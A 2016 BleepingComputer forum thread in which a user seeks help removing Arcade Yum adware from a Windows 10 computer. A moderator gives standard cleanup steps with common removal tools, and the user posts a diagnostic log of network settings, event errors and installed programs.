Jump to content


 


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.


Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.

Photo

Arcade Yum pop-ups


  • Please log in to reply
22 replies to this topic

#1 amkb

amkb

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 11 August 2016 - 10:41 PM

I've got something lurking on my computer!

 

I'm running Windows 10.

 

I keep getting Arcade Yum pop-ups on my Firefox and Chrome browsers.  I don't really use IE so I'm not sure if it's happening in there also.

 

Also, I cannot get Firefox to keep Google as the homepage.  It constantly switches to something else.

 

I'm sure it's from one of the lovely game sites that my children like to frequent.

 

Any help would be appreciated!

 



BC AdBot (Login to Remove)

 


#2 boopme

boopme

    To Insanity and Beyond


  • Global Moderator
  • 73,573 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:NJ USA
  • Local time:04:31 AM

Posted 12 August 2016 - 10:55 AM

Hello and welcome!

Remove Arcade Yum Ads from Google Chrome,do same in FF but they may be called Add Ons,

1.Click on the “Chrome menu button” ( ) on the browser toolbar, select “Tools“, and then click on “Extensions“.
2.In the “Extensions” tab, remove the Arcade Yum any other unknown extensions by clicking the trash can icon.




3Al62Pm.pngMiniToolBox
  • Please download MiniToolBox, save it to your desktop and run it.
  • Checkmark the following checkboxes:
    • Flush DNS
    • Report IE Proxy Settings
    • Reset IE Proxy Settings
    • Report FF Proxy Settings
    • Reset FF Proxy Settings
    • List content of Hosts
    • List IP configuration
    • List Winsock Entries
    • List last 10 Event Viewer log
    • List Installed Programs
    • List Users, Partitions and Memory size.
  • Click Go and post the result (Result.txt). A copy of Result.txt will be saved in the same directory the tool is run. Note: When using "Reset FF Proxy Settings" option Firefox should be closed.
zcMPezJ.pngAdwCleaner
  • Please download AdwCleaner by Xplode and save to your Desktop.
  • Double click on AdwCleaner.exe to run the tool. Vista/Windows 7/8 users right-click and select Run As Administrator
  • Click on the Scan button.
  • AdwCleaner will begin...be patient as the scan may take some time to complete.
  • After the scan has finished, click on the Report button...a logfile (AdwCleaner[R0].txt) will open in Notepad for review.
  • The contents of the log file may be confusing. Unless you see a program name that you know should not be removed, don't worry about it. If you see an entry you want to keep, let me know about it.
  • Copy and paste the contents of that logfile in your next reply.
  • A copy of all logfiles are saved in the C:\AdwCleaner folder which was created when running the tool.
lv0mVRW.pngJunkware Removal Tool
  • Please download Junkware Removal Tool to your desktop.
  • Shut down your protection software now to avoid potential conflicts.
  • Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
  • The tool will open and start scanning your system.
  • Please be patient as this can take a while to complete depending on your system's specifications.
  • On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
  • Post the contents of JRT.txt into your next message.
cvMlKv6.pngESET Online Scanner
  • Click here to download the installer for ESET Online Scanner and save it to your Desktop.
  • Disable all your antivirus and antimalware software - see how to do that here.
  • Right click on esetsmartinstaller_enu.exe and select Run as Administrator.
  • Place a checkmark in YES, I accept the Terms of Use, then click Start. Wait for ESET Online Scanner to load its components.
  • Select Enable detection of potentially unwanted applications.
  • Click Advanced Settings, then place a checkmark in the following:
    • Remove found threats
    • Scan archives
    • Scan for potentially unsafe applications
    • Enable Anti-Stealth technology
  • Click Start to begin scanning.
  • ESET Online Scanner will start downloading signatures and scan. Please be patient, as this scan can take quite some time.
  • When the scan is done, click List threats (only available if ESET Online Scanner found something).
  • Click Export, then save the file to your desktop.
  • Click Back, then Finish to exit ESET Online Scanner.

How do I get help? Who is helping me?For the time will come when men will not put up with sound doctrine. Instead, to suit their own desires, they will gather around them a great number of teachers to say what their itching ears want to hear....Become a BleepingComputer fan: Facebook

#3 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 06:30 PM

MiniToolBox by Farbar  Version: 17-06-2016
Ran by Amy (administrator) on 15-08-2016 at 19:30:02
Running from "C:\Users\Amy\Downloads"
Microsoft Windows 10 Home  (X64)
Model: HP Pavilion P6000 Series Manufacturer: Hewlett-Packard
Boot Mode: Normal
***************************************************************************
 
========================= Flush DNS: ===================================
 
Windows IP Configuration
 
Successfully flushed the DNS Resolver Cache.
 
========================= IE Proxy Settings: ============================== 
 
Proxy is not enabled.
No Proxy Server is set.
 
"Reset IE Proxy Settings": IE Proxy Settings were reset.
 
========================= FF Proxy Settings: ============================== 
 
 
"Reset FF Proxy Settings": Firefox Proxy settings were reset.
 
========================= Hosts content: =================================
0.0.0.1 mssplus.mcafee.com
========================= IP Configuration: ================================
 
D-Link DWA-125 Wireless N 150 USB Adapter(rev.A2) = Wireless Network Connection (Connected)
Realtek PCIe FE Family Controller = Local Area Connection (Media disconnected)
 
 
# ----------------------------------
# IPv4 Configuration
# ----------------------------------
pushd interface ipv4
 
reset
set global
set interface interface="Local Area Connection" forwarding=enabled advertise=enabled nud=enabled ignoredefaultroutes=disabled
set interface interface="Local Area Connection* 1" forwarding=enabled advertise=enabled nud=enabled ignoredefaultroutes=disabled
set interface interface="Local Area Connection* 3" forwarding=enabled advertise=enabled nud=enabled ignoredefaultroutes=disabled
set interface interface="Wireless Network Connection" forwarding=enabled advertise=enabled nud=enabled ignoredefaultroutes=disabled
set interface interface="Local Area Connection* 2" forwarding=enabled advertise=enabled nud=enabled ignoredefaultroutes=disabled
 
 
popd
# End of IPv4 configuration
 
 
 
Windows IP Configuration
 
   Host Name . . . . . . . . . . . . : Amy-HP
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : columbus.rr.com
 
Ethernet adapter Local Area Connection:
 
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Realtek PCIe FE Family Controller
   Physical Address. . . . . . . . . : 78-AC-C0-AB-AB-38
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
 
Wireless LAN adapter Local Area Connection* 3:
 
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Microsoft Wi-Fi Direct Virtual Adapter
   Physical Address. . . . . . . . . : 1C-BD-B9-3F-12-5B
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
 
Wireless LAN adapter Wireless Network Connection:
 
   Connection-specific DNS Suffix  . : columbus.rr.com
   Description . . . . . . . . . . . : D-Link DWA-125 Wireless N 150 USB Adapter(rev.A2)
   Physical Address. . . . . . . . . : 1C-BD-B9-3F-12-59
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : 2607:fcc8:ef01:ef00:a58a:4218:155f:7eb4(Preferred) 
   Temporary IPv6 Address. . . . . . : 2607:fcc8:ef01:ef00:15c1:54bb:b904:d871(Preferred) 
   Link-local IPv6 Address . . . . . : fe80::a58a:4218:155f:7eb4%14(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.0.11(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Sunday, August 14, 2016 9:20:26 PM
   Lease Expires . . . . . . . . . . : Tuesday, August 16, 2016 7:24:39 PM
   Default Gateway . . . . . . . . . : fe80::2e30:33ff:feb9:db3a%14
                                       192.168.0.1
   DHCP Server . . . . . . . . . . . : 192.168.0.1
   DHCPv6 IAID . . . . . . . . . . . : 471645625
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-36-60-59-78-AC-C0-AB-AB-38
   DNS Servers . . . . . . . . . . . : 209.18.47.61
                                       209.18.47.62
   NetBIOS over Tcpip. . . . . . . . : Enabled
 
Tunnel adapter Local Area Connection* 4:
 
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
 
Tunnel adapter isatap.columbus.rr.com:
 
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : columbus.rr.com
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
Server:  dns-cac-lb-01.rr.com
Address:  209.18.47.61
 
Name:    google.com
Addresses:  2607:f8b0:4009:801::200e
 216.58.192.142
 
 
Pinging google.com [2607:f8b0:4009:801::200e] with 32 bytes of data:
Reply from 2607:f8b0:4009:801::200e: time=51ms 
Reply from 2607:f8b0:4009:801::200e: time=51ms 
 
Ping statistics for 2607:f8b0:4009:801::200e:
    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 51ms, Maximum = 51ms, Average = 51ms
Server:  dns-cac-lb-01.rr.com
Address:  209.18.47.61
 
Name:    yahoo.com
Addresses:  2001:4998:c:a06::2:4008
 2001:4998:58:c02::a9
 2001:4998:44:204::a7
 206.190.36.45
 98.138.253.109
 98.139.183.24
 
 
Pinging yahoo.com [2001:4998:c:a06::2:4008] with 32 bytes of data:
Reply from 2001:4998:c:a06::2:4008: time=108ms 
Reply from 2001:4998:c:a06::2:4008: time=109ms 
 
Ping statistics for 2001:4998:c:a06::2:4008:
    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 108ms, Maximum = 109ms, Average = 108ms
 
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
 
Ping statistics for 127.0.0.1:
    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
===========================================================================
Interface List
 16...78 ac c0 ab ab 38 ......Realtek PCIe FE Family Controller
  4...1c bd b9 3f 12 5b ......Microsoft Wi-Fi Direct Virtual Adapter
 14...1c bd b9 3f 12 59 ......D-Link DWA-125 Wireless N 150 USB Adapter(rev.A2)
  1...........................Software Loopback Interface 1
 11...00 00 00 00 00 00 00 e0 Microsoft Teredo Tunneling Adapter
 10...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
===========================================================================
 
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.0.1     192.168.0.11     25
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
      192.168.0.0    255.255.255.0         On-link      192.168.0.11    281
     192.168.0.11  255.255.255.255         On-link      192.168.0.11    281
    192.168.0.255  255.255.255.255         On-link      192.168.0.11    281
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link      192.168.0.11    281
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  255.255.255.255  255.255.255.255         On-link      192.168.0.11    281
===========================================================================
Persistent Routes:
  None
 
IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
 14    281 ::/0                     fe80::2e30:33ff:feb9:db3a
  1    306 ::1/128                  On-link
 14    281 2607:fcc8:ef01:ef00::/56 fe80::2e30:33ff:feb9:db3a
 14    281 2607:fcc8:ef01:ef00::/64 On-link
 14    281 2607:fcc8:ef01:ef00:15c1:54bb:b904:d871/128
                                    On-link
 14    281 2607:fcc8:ef01:ef00:a58a:4218:155f:7eb4/128
                                    On-link
 14    281 fe80::/64                On-link
 14    281 fe80::a58a:4218:155f:7eb4/128
                                    On-link
  1    306 ff00::/8                 On-link
 14    281 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None
========================= Winsock entries =====================================
 
Catalog5 01 C:\WINDOWS\SysWOW64\NLAapi.dll [65024] (Microsoft Corporation)
Catalog5 02 C:\WINDOWS\SysWOW64\napinsp.dll [55808] (Microsoft Corporation)
Catalog5 03 C:\WINDOWS\SysWOW64\pnrpnsp.dll [70656] (Microsoft Corporation)
Catalog5 04 C:\WINDOWS\SysWOW64\pnrpnsp.dll [70656] (Microsoft Corporation)
Catalog5 05 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog5 06 C:\WINDOWS\SysWOW64\winrnr.dll [23552] (Microsoft Corporation)
Catalog5 07 C:\Program Files (x86)\Bonjour\mdnsNSP.dll [122128] (Apple Inc.)
Catalog9 01 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 02 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 03 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 04 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 05 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 06 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 07 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 08 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 09 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 10 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
Catalog9 11 C:\WINDOWS\SysWOW64\mswsock.dll [312160] (Microsoft Corporation)
x64-Catalog5 01 C:\Windows\System32\NLAapi.dll [80896] (Microsoft Corporation)
x64-Catalog5 02 C:\Windows\System32\napinsp.dll [68096] (Microsoft Corporation)
x64-Catalog5 03 C:\Windows\System32\pnrpnsp.dll [87040] (Microsoft Corporation)
x64-Catalog5 04 C:\Windows\System32\pnrpnsp.dll [87040] (Microsoft Corporation)
x64-Catalog5 05 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog5 06 C:\Windows\System32\winrnr.dll [31744] (Microsoft Corporation)
x64-Catalog5 07 C:\Program Files\Bonjour\mdnsNSP.dll [133392] (Apple Inc.)
x64-Catalog9 01 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 02 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 03 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 04 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 05 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 06 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 07 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 08 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 09 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 10 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
x64-Catalog9 11 C:\Windows\System32\mswsock.dll [357216] (Microsoft Corporation)
 
========================= Event log errors: ===============================
 
Application errors:
==================
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 4795047
 
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 4795047
 
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1484
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 1484
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1437
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 1437
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/14/2016 10:36:24 PM) (Source: Bonjour Service) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1484
 
 
System errors:
=============
Error: (08/15/2016 06:03:04 PM) (Source: Service Control Manager) (User: )
Description: The Interactive Services Detection service terminated with the following error: 
%%1 = Incorrect function.
 
 
Error: (08/15/2016 06:03:00 PM) (Source: DCOM) (User: NT AUTHORITY)
Description: 1053mcpltsvcUnavailable{20966775-18A4-4299-B8E3-772C336B52A7}
 
Error: (08/15/2016 06:03:00 PM) (Source: Service Control Manager) (User: )
Description: The McAfee Platform Services service failed to start due to the following error: 
%%1053 = The service did not respond to the start or control request in a timely fashion.
 
 
Error: (08/15/2016 06:03:00 PM) (Source: Service Control Manager) (User: )
Description: A timeout was reached (30000 milliseconds) while waiting for the McAfee Platform Services service to connect.
 
Error: (08/15/2016 06:03:00 PM) (Source: DCOM) (User: NT AUTHORITY)
Description: 1053mcpltsvcUnavailable{20966775-18A4-4299-B8E3-772C336B52A7}
 
Error: (08/15/2016 06:03:00 PM) (Source: Service Control Manager) (User: )
Description: The McAfee Platform Services service failed to start due to the following error: 
%%1053 = The service did not respond to the start or control request in a timely fashion.
 
 
Error: (08/15/2016 06:03:00 PM) (Source: Service Control Manager) (User: )
Description: A timeout was reached (30000 milliseconds) while waiting for the McAfee Platform Services service to connect.
 
Error: (08/15/2016 06:02:59 PM) (Source: DCOM) (User: NT AUTHORITY)
Description: 1053McNaiAnnUnavailable{395633B1-EED9-4DFC-B67F-9788B51C9F06}
 
Error: (08/15/2016 06:02:59 PM) (Source: Service Control Manager) (User: )
Description: The McAfee VirusScan Announcer service failed to start due to the following error: 
%%1053 = The service did not respond to the start or control request in a timely fashion.
 
 
Error: (08/15/2016 06:02:59 PM) (Source: Service Control Manager) (User: )
Description: A timeout was reached (30000 milliseconds) while waiting for the McAfee VirusScan Announcer service to connect.
 
 
Microsoft Office Sessions:
=========================
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 4795047
 
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledEvent 4795047
 
Error: (08/15/2016 07:24:31 PM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1484
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledEvent 1484
 
Error: (08/15/2016 05:45:29 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1437
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledEvent 1437
 
Error: (08/15/2016 01:57:50 AM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (08/14/2016 10:36:24 PM) (Source: Bonjour Service)(User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 1484
 
 
CodeIntegrity Errors:
===================================
  Date: 2016-08-14 21:22:03.891
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-08-11 09:04:04.529
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-07-20 21:52:09.669
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-07-20 08:54:29.841
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-07-14 04:25:35.615
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-06-24 08:41:34.799
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-06-23 17:43:28.594
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-06-17 04:39:57.415
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-06-16 02:51:36.713
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2016-05-15 03:53:01.509
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
 
=========================== Installed Programs ============================
 
3DVIA player 5.0.0.20 (HKLM-x32\...\{F06365EC-061E-48C3-B761-E1816658D618}) (Version: 5.0.20 - 3DVIA)
7-Zip 9.20 (x64 edition) (HKLM\...\{23170F69-40C1-2702-0920-000001000000}) (Version: 9.20.00.0 - Igor Pavlov)
Adobe Acrobat Reader DC (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}) (Version: 15.017.20053 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.2.0.2070 - Adobe Systems Incorporated)
Adobe Community Help (HKLM-x32\...\chc.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 3.5.23 - Adobe Systems Incorporated.)
Adobe Flash Player 22 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 22.0.0.209 - Adobe Systems Incorporated)
Adobe Photoshop Elements 9 (HKLM-x32\...\Adobe Photoshop Elements 9) (Version: 9.0 - Adobe Systems Incorporated)
Adobe Photoshop.com Inspiration Browser (HKLM-x32\...\PhotoshopdotcomInspirationBrowser.4C35C4D325D350FE0114230CBADCA2DDD0AC8D25.1) (Version: 3.07 - Adobe Systems Incorporated)
Agatha Christie - Peril at End House (HKLM-x32\...\WT089362) (Version: 2.2.0.95 - WildTangent) Hidden
AirPort (HKLM-x32\...\{AA68AAAE-41F0-40B5-8896-5947F5FD6889}) (Version: 5.6.1.2 - Apple Inc.)
Amazon Cloud Drive (HKCU\...\23ab716f18849b6f) (Version: 2.4.2013.3290 - Amazon)
Amazon Cloud Drive (HKCU\...\Amazon Cloud Drive) (Version: 2.3.5.9 - Amazon Digital Services, LLC.)
Apple Application Support (32-bit) (HKLM-x32\...\{D4B07658-F443-4445-A261-E643996E139D}) (Version: 4.3.2 - Apple Inc.)
Apple Application Support (64-bit) (HKLM\...\{A6B0442B-E159-444B-B49D-6B9AC531EAE3}) (Version: 4.3.2 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{2E4AF2A6-50EA-4260-9BA4-5E582D11879A}) (Version: 9.3.0.15 - Apple Inc.)
Apple Software Update (HKLM-x32\...\{56EC47AA-5813-4FF6-8E75-544026FBEA83}) (Version: 2.2.0.150 - Apple Inc.)
ArcSoft MediaConverter 8 (HKLM-x32\...\{2CAD3C16-ACD0-43E5-81DA-7E56C3E5336C}) (Version: 8.0.0.21 - ArcSoft)
ATI Catalyst Install Manager (HKLM\...\{7C7A5A92-046C-A38C-AE0F-8F9CCA0F67A8}) (Version: 3.0.774.0 - ATI Technologies, Inc.)
BabylonObjectInstaller (HKLM-x32\...\{83AA2913-C123-4146-85BD-AD8F93971D39}) (Version: 2.0.0.2 - Babylon Ltd)
Bejeweled 2 Deluxe (HKLM-x32\...\WT087428) (Version: 2.2.0.95 - WildTangent) Hidden
Big Fish Games: Game Manager (HKLM-x32\...\BFGC) (Version: 3.0.1.60 - )
Bing Bar (HKLM-x32\...\{3365E735-48A6-4194-9988-CE59AC5AE503}) (Version: 7.3.132.0 - Microsoft Corporation)
Bing Rewards Client Installer (HKLM-x32\...\{61EDBE71-5D3E-4AB7-AD95-E53FEAF68C17}) (Version: 16.0.345.0 - Microsoft Corporation) Hidden
BitLord 2.3 (HKLM-x32\...\BitLord) (Version: 2.3.2-254 - House of Life)
Blackhawk Striker 2 (HKLM-x32\...\WT087328) (Version: 2.2.0.95 - WildTangent) Hidden
Blasterball 3 (HKLM-x32\...\WT089308) (Version: 2.2.0.95 - WildTangent) Hidden
Blio (HKLM-x32\...\{504CC891-B140-4E1B-860B-5E4C1DFBA9E3}) (Version: 2.0.5350 - K-NFB Reading Technology, Inc.)
Bonjour (HKLM\...\{56DDDFB8-7F79-4480-89D5-25E1F52AB28F}) (Version: 3.1.0.1 - Apple Inc.)
Bonjour Print Services (HKLM\...\{0DA20600-6130-443B-9D4B-F30520315FA6}) (Version: 2.0.2.0 - Apple Inc.)
Bounce Symphony (HKLM-x32\...\WT087330) (Version: 2.2.0.95 - WildTangent) Hidden
Build-a-lot 2 (HKLM-x32\...\WT087335) (Version: 2.2.0.95 - WildTangent) Hidden
Bullzip PDF Printer 10.23.0.2529 (HKLM\...\Bullzip PDF Printer_is1) (Version: 10.23.0.2529 - Bullzip)
Cake Mania (HKLM-x32\...\WT089359) (Version: 2.2.0.95 - WildTangent) Hidden
calibre (HKLM-x32\...\{263E62B9-CB1E-4864-A8A7-37DEAC651484}) (Version: 2.63.0 - Kovid Goyal)
CameraHelperMsi (HKLM-x32\...\{15634701-BACE-4449-8B25-1567DA8C9FD3}) (Version: 13.31.1038.0 - Logitech) Hidden
Catalina Savings Printer (HKLM-x32\...\{4956ACE3-F537-4418-BB45-FD52395275A7}) (Version: 1.0.0 - Catalina Marketing Corp)
ccc-core-static (HKLM-x32\...\{0E1C256F-6B90-E5A5-F62E-5DAE1AEAE294}) (Version: 2010.0511.2153.37435 - ATI) Hidden
Chuzzle Deluxe (HKLM-x32\...\WT087453) (Version: 2.2.0.95 - WildTangent) Hidden
Coupon Printer for Windows (HKLM-x32\...\Coupon Printer for Windows5.0.0.3) (Version: 5.0.0.3 - Coupons.com Incorporated)
CyberLink DVD Suite Deluxe (HKLM-x32\...\InstallShield_{1FBF6C24-C1FD-4101-A42B-0C564F9E8E79}) (Version: 7.0.3210 - CyberLink Corp.)
D3DX10 (HKLM-x32\...\{E09C4DB7-630C-4F06-A631-8EA7239923AF}) (Version: 15.4.2368.0902 - Microsoft) Hidden
Diner Dash 2 Restaurant Rescue (HKLM-x32\...\WT087536) (Version: 2.2.0.95 - WildTangent) Hidden
Dora's World Adventure (HKLM-x32\...\WT087343) (Version: 2.2.0.95 - WildTangent) Hidden
Dragon Age: Origins (HKLM-x32\...\{AEC81925-9C76-4707-84A9-40696C613ED3}) (Version: 1.05.0.0 - Electronic Arts)
Dropbox (HKCU\...\Dropbox) (Version: 7.4.30 - Dropbox, Inc.)
DVD Menu Pack for HP MediaSmart Video (HKLM-x32\...\{FB4BB287-37F9-4E27-9C4D-2D3882E08EFF}) (Version: 4.2.4412 - Hewlett-Packard) Hidden
DVD Menu Pack for HP MediaSmart Video (HKLM-x32\...\InstallShield_{FB4BB287-37F9-4E27-9C4D-2D3882E08EFF}) (Version: 4.2.4412 - Hewlett-Packard)
Elements 9 Organizer (HKLM-x32\...\{433EACD8-4747-4A6A-826A-FFA9F39B0D40}) (Version: 9.0 - Adobe Systems Incorporated) Hidden
Elements STI Installer (HKLM-x32\...\{E2AE009D-37E5-4724-A6B8-0ED6A6BA4F68}) (Version: 1.0 - Adobe Systems Incorporated) Hidden
erLT (HKLM-x32\...\{3EE9BCAE-E9A9-45E5-9B1C-83A4D357E05C}) (Version: 1.20.138.34 - Logitech, Inc.) Hidden
Escape Rosecliff Island (HKLM-x32\...\WT087360) (Version: 2.2.0.95 - WildTangent) Hidden
Farm Frenzy (HKLM-x32\...\WT089328) (Version: 2.2.0.95 - WildTangent) Hidden
FATE (HKLM-x32\...\WT087361) (Version: 2.2.0.95 - WildTangent) Hidden
Final Drive Nitro (HKLM-x32\...\WT087362) (Version: 2.2.0.95 - WildTangent) Hidden
Fisher-Price iXL - Batman (HKLM-x32\...\{24E703E9-E16E-40E1-B5FB-2CC4B5A568FB}) (Version: 1.0.0.0 - Fisher-Price) Hidden
Fisher-Price iXL - Batman (HKLM-x32\...\InstallShield_{24E703E9-E16E-40E1-B5FB-2CC4B5A568FB}) (Version: 1.0.0.0 - Fisher-Price)
